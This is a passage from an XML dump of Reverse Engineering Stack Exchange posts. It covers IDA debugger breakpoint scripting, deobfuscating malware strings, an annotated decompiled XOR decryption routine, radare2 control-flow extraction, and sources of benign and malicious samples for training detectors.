&lt;code&gt;RutTo&lt;/code&gt; to return before the provided &lt;code&gt;ea&lt;/code&gt; is reached. You could then call &lt;code&gt;idc.GetDebuggerEvent&lt;/code&gt; to figure out what happened, but if you're gonna do that I suggest switching to the second approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note &lt;code&gt;RunTo&lt;/code&gt; will also start up a process if there's no running process.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2. Setting a breakpoint, hooking debugger events and implementing &lt;code&gt;dbg_bpt&lt;/code&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is the safer and would be my recommended approach, while being harder to implement it allows properly handling other breakpoints and more control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this, you'll have to do three things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set up a breakpoint at given address.&lt;/li&gt;&#xA;&lt;li&gt;Monitor for the breakpoint's trigger.&lt;/li&gt;&#xA;&lt;li&gt;And finally act upon it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Set up a breakpoint at given address&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The most basic method of achieving this is by calling the &lt;code&gt;idc.AddBpt(ea)&lt;/code&gt;, which sets a software on execution breakpoint at that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional methods you could use include:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;idc.AddBptEx(ea, size, bpttype)&lt;/code&gt; to have more control on the type of breakpoint you're creating.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;idc. SetBptAttr(address, bptattr, value)&lt;/code&gt; to set the breakpoint's available attributes.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;idc.SetBptCnd(ea, cnd)&lt;/code&gt; / &lt;code&gt;idc. SetBptCndEx(ea, cnd, is_lowcnd)&lt;/code&gt; to set the breakpoint's trigger condition.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Read the documentation for the exact details.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Monitor for the breakpoint's trigger&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For that, you'll need to install a Debugger Hooking class (any class that inherits &lt;code&gt;idaapi.DBG_Hooks&lt;/code&gt;), which implements the &lt;code&gt;dbg_bpt(tid, ea)&lt;/code&gt; method, which describe the thread id and linear address in which the breakpoint triggered. Returning 0 from &lt;code&gt;dbg_bpt&lt;/code&gt; should prevent IDA from notifying the user it was triggered (assuming you'll handle it internally).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to instantiate your class and call the instance's &lt;code&gt;Hook&lt;/code&gt; and &lt;code&gt;Unhook&lt;/code&gt; methods for it to actually function. Please note it's better practice to install the hooks before creating the breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;And finally act upon it&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While the debugger is running, you can call &lt;code&gt;idc.GetRegValue(name)&lt;/code&gt; providing the register name to receive it's immediate value at that time.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-03T21:51:00.477" LastActivityDate="2016-09-03T21:51:00.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13420" PostTypeId="2" ParentId="13381" CreationDate="2016-09-02T20:42:16.153" Score="1" Body="&lt;p&gt;&quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Qualcomm_Hexagon&quot; rel=&quot;nofollow&quot;&gt;Qualcomm Hexagon&lt;/a&gt;&quot; is not a compiler, its an architecture by &lt;a href=&quot;https://en.wikipedia.org/wiki/Qualcomm&quot; rel=&quot;nofollow&quot;&gt;Qualcomm Inc.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The internet has a few resources which might be helpful in your endeavors. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A third party &lt;a href=&quot;https://github.com/gsmk/hexagon&quot; rel=&quot;nofollow&quot;&gt;IDA processor module&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;An &lt;a href=&quot;https://developer.qualcomm.com/software/hexagon-dsp-sdk&quot; rel=&quot;nofollow&quot;&gt;SDK&lt;/a&gt; provided by Qualcomm.&lt;/li&gt;&#xA;&lt;li&gt;A few &lt;a href=&quot;https://developer.qualcomm.com/software/hexagon-dsp-sdk/tools&quot; rel=&quot;nofollow&quot;&gt;other tools and documents&lt;/a&gt; provided by Qualcomm.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Although these do not explain the reason for the empty sections table, I assume going over those in-depth would provide that information.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-02T20:42:16.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13422" PostTypeId="1" AcceptedAnswerId="13427" CreationDate="2016-09-03T12:53:55.627" Score="2" ViewCount="93" Body="&lt;p&gt;I'm trying to figure out this encoding in malware.. All I have are the static strings..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to figure one out so there is plaintext on one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e-snAetgrU$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;translates to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$User-Agent&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are some other strings from the same malware if it helps. I've tried 16/32 byte swaps and tried looking at the delta between the plaintext character index and the encoded one..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rdcTNIOemr$&#xA;MyNonASUo&#xA;uCoDL&#xA;MaNOza$&#xA;.eiCeShdPH$&#xA;ETSOHD$&#xA;RRNIootP$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17330" LastEditorUserId="2147" LastEditDate="2016-09-05T21:18:04.557" LastActivityDate="2016-09-05T21:18:04.557" Title="Unkown Swap Encoding" Tags="|obfuscation|encryption|binary-diagnosis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13423" PostTypeId="1" CreationDate="2016-09-03T13:05:53.977" Score="1" ViewCount="272" Body="&lt;p&gt;I'm debugging a closed-source Android app with &lt;code&gt;jdb&lt;/code&gt;. In the output produced by the &lt;code&gt;apktool&lt;/code&gt;, I see class &lt;code&gt;com.myapp.j.d.d&lt;/code&gt;, as well as a/b/c/e, but at run-time, I see only &lt;code&gt;com.myapp.j.d.e&lt;/code&gt;. Why is that happening?&lt;/p&gt;&#xA;" OwnerUserId="9820" LastActivityDate="2018-07-26T08:00:42.040" Title="Certain classes do not show up in JDB while they are present in source code" Tags="|android|java|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13425" PostTypeId="2" ParentId="13423" CreationDate="2016-09-03T18:40:51.717" Score="-1" Body="&lt;p&gt;One possibility is that the classes fail verification. If this is the case, when you install the apk, you'll see messages from art in logcat with details about which class failed verification and why.&lt;/p&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2016-09-03T18:40:51.717" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13426" PostTypeId="1" CreationDate="2016-09-03T21:14:17.707" Score="3" ViewCount="647" Body="&lt;p&gt;To elaborate, I need help decompressing SCE (Sony Computer Entertainment) .pkg files. I've found several common patterns between multiple versions of the same file (released over the span of two years by Sony) using 010 Editor, but don't quite know what I'm looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the matches between two versions of 'package_data02.pkg', released two days apart:&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ETpbY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ETpbY.jpg&quot; alt=&quot;The addresses and sizes of the matches&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7eKW5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7eKW5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;br&gt;&#xA;The files use little endian and these are using ANSI character sets (I've looked at them using UTF-8 and Unicode as well)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've discerned that the matches are part of the file structure, as their starting address and depth are shared across all ~300 .pkg files that have been released over the past two years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is this: can I use the information I've gathered so far to find a way to decompress the data in the .pkg? (If it helps, I'm hoping to find either an executable or .c source files)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the originally posted question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt; I originally was asking for a way to use the hex dumps to exploit my way through AES encryption, and later found out that not only were the .pkgs only compressed, but I also had access to the encryption keys. Oops...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17336" LastEditorUserId="2147" LastEditDate="2016-09-05T21:17:00.703" LastActivityDate="2016-09-05T21:17:00.703" Title="Reverse Engineering SCE .pkg Files" Tags="|firmware|file-format|decompress|binary-diagnosis|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13427" PostTypeId="2" ParentId="13422" CreationDate="2016-09-03T22:04:44.227" Score="1" Body="&lt;p&gt;googling for e-snAetgrU yields the VBA Macros&lt;br&gt;&#xA;just copy paste the macros into a VBA module in word/excel/&lt;br&gt;&#xA;insert a few Msgbox() and you can decrypt all the strings   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the unobfuscation is as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obf_str       = &quot;e-snAetgrU&quot;&#xA;obf_str_len   = len(obf-str)   == 10&#xA;redherr       = 1&#xA;i = 0&#xA;&#xA;d(69, 43, obf_str)&#xA;&#xA;rand = arg1  == 69&#xA;&#xA;REPEAT:&#xA;&#xA;Char_Choice_num = ( arg1 - (obf_str_len * (arg1 \ obf_str_len) )) ==&#xA;(69,52 - (10 * (69,52\10 == 6,5) == 60,50) ==) {9,2,5,8}&#xA;&#xA;unobf_str[i++] = obf_str[Char_Choice_num+redherr] == obf_str[10,3,6,9] = 'U,s,e,r'&#xA;&#xA;rand = Char_Choice_num+arg2  ==  52,45,48,51&#xA;&#xA;goto REPEAT Until Len (obfxx) == len(unobfyy)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/amkhr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/amkhr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-09-03T22:04:44.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13428" PostTypeId="1" AcceptedAnswerId="13443" CreationDate="2016-09-04T10:22:00.593" Score="5" ViewCount="3723" Body="&lt;p&gt;In the pursuit and development of malware detection algorithms, often a big sample set of both malicious and benign samples is required. Both machine learning or similar automated techniques, as well as manual or partially manual signature generation, often require a good and varied example set of benign samples that are commonly mistaken as malicious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those samples are usually being automatically analyzed and then provided to a Reverse Engineer for further scrutiny, analysis and improvement of said malware detection algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although finding malicious samples is frequently discussed (see &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze&quot;&gt;multiple&lt;/a&gt; &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/9279/where-can-i-get-linux-malware-samples&quot;&gt;questions&lt;/a&gt;), discussion about benign sample sources seems lacking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are good benign sample repositories/feeds, preferably focused on potential/frequent false positive samples? Other sources or &quot;retrival methods&quot; (scraping) are also welcome! &lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-08-26T03:26:19.640" LastActivityDate="2018-08-26T03:26:19.640" Title="Where can I find benign samples with a high potential to false positive?" Tags="|malware|benign|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13429" PostTypeId="2" ParentId="13409" CreationDate="2016-09-04T16:07:17.900" Score="2" Body="&#xA;&#xA;&lt;p&gt;Here's your code with names given to most variables. That's quite a bit of code so I'll try to only iterate the important parts. I also added a few comments in the code to help reading, although I didn't try to cover all code with comments. Make sure you go over the named parameters, I believe those will help you understand the code quickly. Viewing the code in a syntax highlighting editor will also help (couldn't get SO to highlight).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please add a comment about anything that's not clear enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;NI&lt;/code&gt; prefix is my initials, you can ignore it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, &lt;code&gt;doXor&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function simply XORs all bytes except the last byte, which is treated a bit differently, but more on that later. This is not part of the &lt;code&gt;while&lt;/code&gt; loop simply because it's recevied differently in &lt;code&gt;doXor&lt;/code&gt;. A possible reasoning behind this is to force any user of &lt;code&gt;doXor&lt;/code&gt; to explicitly deal with this value, as it's somewhat important for asserting the validity of the decrpyed message.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//----- (00001354) --------------------------------------------------------&#xA;int __fastcall doXor(int result, int a2_NI_source, int a3_NI_key, int a4_NI_unused_copy_source_last_byte, int a5_NI_length, int a6_NI_unused, char a7_NI_source_last_byte)&#xA;{&#xA;  int v7; // r5@1&#xA;  int v8; // r6@1&#xA;  int v9; // r7@1&#xA;  int v10; // r1@1&#xA;  char v11; // lr@3&#xA;  char v12; // t1@3&#xA;  char v13; // t1@3&#xA;&#xA;  v7_NI_source_pos = a2_NI_source - 1;&#xA;  v8_NI_key_pos = a3_NI_key - 1;&#xA;  v9_NI_result_pos = result - 1;&#xA;  v10_NI_source_end_loc = a2_NI_source + a5_NI_length - 1;&#xA;  while ( v7_NI_source_pos != v10_NI_source_end_loc )&#xA;  {&#xA;    // Ready bytes from v7_NI_source_pos and v8_NI_key_pos&#xA;    v12 = *(_BYTE *)(v7_NI_source_pos++ + 1); // READ BYTE OF a2 + offset&#xA;    v11 = v12;&#xA;    v13 = *(_BYTE *)(v8_NI_key_pos++ + 1); // READ BYTE OF a2 + offset&#xA;&#xA;    // Xor two values and place in v9_NI_result_pos&#xA;    *(_BYTE *)(v9_NI_result_pos++ + 1) = v11 ^ v13;&#xA;  } // ====== so far this one just does a xor in the full array&#xA;  //   ===&amp;gt;what does this one do?&#xA;&#xA;  // XOR LAST BYTE OF key with a7_NI_source_last_byte (see decryptData for code that retreives the byte)&#xA;  *(_BYTE *)(result + a5_NI_length) = *(_BYTE *)(a3_NI_key + a5_NI_length) ^ a7_NI_source_last_byte;&#xA;&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second, &lt;code&gt;getNumber&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is never actually used, but generates a single byte of random data which is somewhat biased for sepcificaly the value 255 because casting a &quot;nonnegative long integer uniformly distributed between 0 and 2^31&quot; to a unsigned byte will, in most cases, yield a number above 255.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://linux.die.net/man/2/time&quot; rel=&quot;nofollow&quot;&gt;time&lt;/a&gt; will return the current local time in seconds since Epoch, &lt;a href=&quot;http://linux.die.net/man/3/srand48&quot; rel=&quot;nofollow&quot;&gt;srand48&lt;/a&gt; will seed the builtin PRNG with that result and &lt;a href=&quot;http://linux.die.net/man/3/lrand48&quot; rel=&quot;nofollow&quot;&gt;lrand48&lt;/a&gt; return the random number.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//----- (00001384) --------------------------------------------------------&#xA;// This is never used in provided code! :S&#xA;int getNumber()&#xA;{&#xA;  __int32 v0; // r0@1&#xA;&#xA;  // Seed srand48 using current local time in seconds since Epoch&#xA;  v0 = time(0);&#xA;  srand48(v0);&#xA;  // Return 1 byte integer casted from nonnegative long integer uniformly distributed between 0 and 2^31 &#xA;  return (unsigned __int8)lrand48();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Third, &lt;code&gt;getKey&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[EDIT]&lt;/strong&gt; A simple stream padding based on passed values. It is unclear what &lt;code&gt;crc64&lt;/code&gt; does and how are it's parameters used, but it appears as if it does not receive a buffer.&#xA;The low dword returned from &lt;code&gt;crc64&lt;/code&gt; is copied repeatedly to create the key sequence, and is used as the internal PRNG state. &lt;code&gt;crc64&lt;/code&gt; is there for the function creating the initial state, or the seed function for &lt;code&gt;geyKey&lt;/code&gt;.&#xA;It has some decompliation bloat (that is, extra redundant C statements caused by the decompiler not doing the best job it could) but basically this function fills the requested buffer with the same value over and over.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//----- (00001398) --------------------------------------------------------&#xA;int __fastcall getKey(void *a1_NI_key_buffer, unsigned int a2_NI_key_length, unsigned __int8 a3, int a4_NI_unused, char a5)&#xA;{&#xA;  void *v5; // r8@1&#xA;  unsigned int v6; // r7@1&#xA;  unsigned int v7; // r10@1&#xA;  void *v8; // r5@1&#xA;  __int64 v9; // r0@1&#xA;  signed int v10; // r6@1&#xA;  __int64 v12; // [sp+8h] [bp-30h]@1&#xA;  int v13; // [sp+14h] [bp-24h]@1&#xA;&#xA;  v5_NI_key_buffer = a1_NI_key_buffer;&#xA;  v6_NI_key_length = a2_NI_key_length;&#xA;  v7_NI_key_8byte_chunks = a2_NI_key_length &amp;gt;&amp;gt; 3;&#xA;  v8_NI_key_buffer_pos = a1_NI_key_buffer;&#xA;  v13_NI_stack_guard = _stack_chk_guard; //a stack guard&#xA;  LODWORD(v9_NIl_partial_crc_state) = crc64(a3, (int)&amp;amp;a5, _stack_chk_guard, 8);&#xA;  v10_NI_current_8byte_chunk = 0;&#xA;  v12_NI_full_crc_state = v9_NIl_partial_crc_state;&#xA;&#xA;  // Loop on 8 byte long chunks of the required key length&#xA;  do&#xA;  {&#xA;    // increase the counter for the current 8byte chunk we're using&#xA;    ++v10_NI_current_8byte_chunk;&#xA;&#xA;    // If current 8byte chunk exceeds the required length&#xA;    if ( 8 * v10_NI_current_8byte_chunk &amp;gt; v6_NI_key_length )&#xA;    {&#xA;      // If some bytes of the 8byte chunks are needed&#xA;      if ( v6_NI_key_length &amp;gt;= 8 * v10_NI_current_8byte_chunk - 8 )&#xA;      {&#xA;        // Copy portion of v12_NI_full_crc_state needed to fill the buffer&#xA;        LODWORD(v9_NIl_partial_crc_state) = memcpy(v8_NI_key_buffer_pos, &amp;amp;v12_NI_full_crc_state, (size_t)((char *)v5_NI_key_buffer + v6_NI_key_length - (_DWORD)v8_NI_key_buffer_pos));&#xA;      }&#xA;    }&#xA;    else&#xA;    {&#xA;      // Set v9_NIl_partial_crc_state to the initial v12_NI_full_crc_state&#xA;      v9_NIl_partial_crc_state = v12_NI_full_crc_state;&#xA;      *(_QWORD *)v8_NI_key_buffer_pos = v12_NI_full_crc_state;&#xA;    }&#xA;    v8_NI_key_buffer_pos = (char *)v8_NI_key_buffer_pos + 8;&#xA;  }while ( v10_NI_current_8byte_chunk &amp;lt;= (signed int)v7_NI_key_8byte_chunks );&#xA;&#xA;  // Make sure stack wasn't damaged in the process&#xA;  if ( v13_NI_stack_guard != _stack_chk_guard )&#xA;    _stack_chk_fail(v9_NIl_partial_crc_state);&#xA;  return v9_NIl_partial_crc_state;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Last but not least, &lt;code&gt;decryptData&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where the magic happens, buy it's not too magical. Basically, the first byte is used to feed &lt;code&gt;getKey&lt;/code&gt; with a state, togather with &lt;code&gt;a4_NI_unknown_constant&lt;/code&gt; parameter passed to &lt;code&gt;decryptData&lt;/code&gt;. These two bytes are what determines the entire &lt;code&gt;getKey&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last byte (treated strangly in &lt;code&gt;doXor&lt;/code&gt; is used as a basic sanify/error detection byte and must result in the correct value for the message to be accepted and properly decrypted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//----- (000014E4) --------------------------------------------------------&#xA;signed int __fastcall decryptData(void *a1_NI_result, unsigned int *a2_NI_source, int a3_NI_length, int a4_NI_unknown_constant, __int64 a5)&#xA;{&#xA;  int v5; // r4@1&#xA;  void *v6; // r11@1&#xA;  unsigned int *v7; // r10@1&#xA;  unsigned int v8; // r7@3&#xA;  int v9; // r9@3&#xA;  int v10; // ST10_4@3&#xA;  void *v11; // r8@3&#xA;  const void *v12; // r5@3&#xA;  int v13; // r6@3&#xA;  signed int result; // r0@5&#xA;&#xA;  v5_NI_length_copy = a3_NI_length;&#xA;  v6_NI_result_copy = a1_NI_result;&#xA;  v7_NI_source_copy = a2_NI_source;&#xA;  if ( check == 1 )&#xA;  {&#xA;    if ( a5 )&#xA;    {&#xA;      result = 0;&#xA;    }&#xA;    else&#xA;    {&#xA;      v8_NI_source_first_byte = *(_BYTE *)a2_NI_source;&#xA;      v9_NI_unknown_plus_first_byte = a4_NI_unknown_constant + v8_NI_source_first_byte;&#xA;      v10_NI_source_last_byte = *((_BYTE *)a2_NI_source + a3_NI_length - 1);&#xA;      v11_NI_key = malloc(a3_NI_length - 1);&#xA;      v12_NI_temp_result = malloc(v5_NI_length_copy - 1);&#xA;&#xA;      // generate xor key based on:&#xA;      // 1. length of data&#xA;      // 2. unknown constant provided to decryptData as a4_NI_unknown_constant&#xA;      // 3. first byte of encrypted string&#xA;      getKey(v11_NI_key, (unsigned __int16)(v5_NI_length_copy - 1), v9_NI_unknown_plus_first_byte, (2596069104u * (unsigned __int64)v8_NI_source_first_byte &amp;gt;&amp;gt; 32) + 305419896 * v8_NI_source_first_byte, -16 * v8_NI_source_first_byte);&#xA;      v13_result_length = v5_NI_length_copy - 2;&#xA;&#xA;      // XOR&#xA;      doXor((int)v12_NI_temp_result, (int)((char *)v7_NI_source_copy + 1), (int)v11_NI_key, v10_NI_source_last_byte, v13_result_length, (unsigned __int64)v13_result_length &amp;gt;&amp;gt; 32, v10_NI_source_last_byte);&#xA;&#xA;      // Copy result from v12_NI_temp_result to user provided reulst buffer v6_NI_result_copy&#xA;      memcpy(v6_NI_result_copy, v12_NI_temp_result, v5_NI_length_copy - 2);&#xA;&#xA;      // If last byte in v12_NI_temp_result is not the same as v9_NI_unknown_plus_first_byte, return Null&#xA;      if ( *((char *)v12_NI_temp_result + v5_NI_length_copy - 2) != v9_NI_unknown_plus_first_byte )&#xA;        v13_result_length = 0;&#xA;&#xA;      // If key allocated, free it&#xA;      if ( v11_NI_key )&#xA;        free(v11_NI_key);&#xA;&#xA;      // Free v12_NI_temp_result&#xA;      free((void *)v12_NI_temp_result);&#xA;&#xA;      // return v13_result_length&#xA;      result = v13_result_length;&#xA;    }&#xA;  }&#xA;  else&#xA;  {&#xA;    result = -1;&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, sepcific answers to your questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The length of the seed is a single byte, as generated in &lt;code&gt;getNumber&lt;/code&gt; and used for key generation in &lt;code&gt;getKey&lt;/code&gt;. It is used at &lt;code&gt;getKey&lt;/code&gt; by expanding it and the other arguments calculated based on &lt;code&gt;v9_NI_unknown_plus_first_byte&lt;/code&gt; to generate a &lt;code&gt;QWORD&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;For that you'll need to further RE the &lt;code&gt;crc64&lt;/code&gt; function. Sorry about that. But understanding the &lt;code&gt;getKey&lt;/code&gt; function better makes it possible to use another (more interesting) approach to decrypting streams of data. Since we now know the &quot;key&quot; is an 8byte sequeces used repeatedly, every known byte of the original message reveals all other bytes at the same 8byte offset. Messages with fixed headers, or known types of data (textual, for example) reveal a lot of information about the xor key.&lt;/li&gt;&#xA;&lt;li&gt;I have no idea what's the actual content of the data, nor how to interpret it. That is required in order to validate the type and use. You should gather enough sample sets, decrypt them and see if they look like valid latitude/longitude values. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think the best way for you to proceed now is implementing a simulator that receives a message and tries to decrypt it using the information above. I may have made mistakes or overlooked some small details, but those will be eaier to identify by seeing errors in the produced decryption and following up on those.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-06T10:46:50.380" LastActivityDate="2016-09-06T10:46:50.380" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13430" PostTypeId="2" ParentId="13411" CreationDate="2016-09-04T16:52:46.213" Score="11" Body="&lt;p&gt;Extracting control flow graph in JSON with radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; python&#xA;import r2pipe&#xA;r2 = r2pipe.open(&quot;/bin/ls&quot;)&#xA;r2.cmd(&quot;aaa&quot;) # See radare.today/posts/analysis-by-default/&#xA;cfg = r2.cmdj(&quot;agj&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/radare/radare2-bindings/tree/master/r2pipe/python&quot;&gt;https://github.com/radare/radare2-bindings/tree/master/r2pipe/python&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2016-09-04T16:52:46.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13431" PostTypeId="2" ParentId="1392" CreationDate="2016-09-04T20:57:31.657" Score="4" Body="&lt;p&gt;There's &lt;a href=&quot;https://github.com/snare/voltron&quot; rel=&quot;nofollow&quot;&gt;Voltron&lt;/a&gt;, which is an extensible Python debugger UI that supports LLDB, GDB, VDB, and WinDbg/CDB (via PyKD) and runs on macOS, Linux and Windows. For the first three it supports x86, x86_64, and arm with even arm64 support for lldb while adding even powerpc support for gdb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author also wrote a Binary Ninja plugin to integrate Voltron -- &lt;a href=&quot;https://github.com/snare/binjatron&quot; rel=&quot;nofollow&quot;&gt;https://github.com/snare/binjatron&lt;/a&gt; -- which allows syncronized views.&lt;/p&gt;&#xA;" OwnerUserId="3989" LastActivityDate="2016-09-04T20:57:31.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13433" PostTypeId="2" ParentId="13428" CreationDate="2016-09-05T06:37:31.077" Score="5" Body="&lt;h2&gt;Malicious samples&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My favorite source for malicious samples is a database i assembled myself by regulary pulling the free examples provided by &lt;a href=&quot;http://virussign.com/vslist.html&quot; rel=&quot;noreferrer&quot;&gt;VirusSign&lt;/a&gt;. Please not these samples do require registration, but come with reports indicating the type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be no better archive for malicious samples than &lt;a href=&quot;https://www.virustotal.com/&quot; rel=&quot;noreferrer&quot;&gt;VirusTotal&lt;/a&gt;. If you don't happen to gain (intelligence) access there, you can still try open alternatives like &lt;a href=&quot;http://www.offensivecomputing.net/&quot; rel=&quot;noreferrer&quot;&gt;Open Malware&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, a good list for places to find malicious samples is here:&#xA;&lt;a href=&quot;https://zeltser.com/malware-sample-sources/&quot; rel=&quot;noreferrer&quot;&gt;LENNY ZELTSER&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Benign Samples&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As for benign samples, I propose extracting benign executables from a fresh OS installations. You can simply install the target in a virtual machine and get a script to extract them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another source is crawling sites like &lt;a href=&quot;http://www.portablefreeware.com/&quot; rel=&quot;noreferrer&quot;&gt;PortableFreeware&lt;/a&gt;. Please make sure you check if executables collected this way to work in your environment.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Possible false positives&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Most malware archives label their samples based on the detection ratio and labels provided by different ant-malware products (like VirusTotal). Asssuming samples with very low detection ratio and generic labels to be false positives is probably the best way to go here. Also, data collected from &lt;em&gt;HoneyPots&lt;/em&gt; may yield relatively higher false positive rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often used the executables included in the &lt;a href=&quot;https://technet.microsoft.com/de-de/sysinternals/bb842062.aspx&quot; rel=&quot;noreferrer&quot;&gt;Sysinternals Suite&lt;/a&gt; as a kind of 'false positives'. They are benign binaries utilizing system-near features in order to expose system internal data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;On a sitenode, please take time evaluating your dataset and finding biases hidden within. A lot of current research suffers from biased sample sets and unreproducible results.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3162" 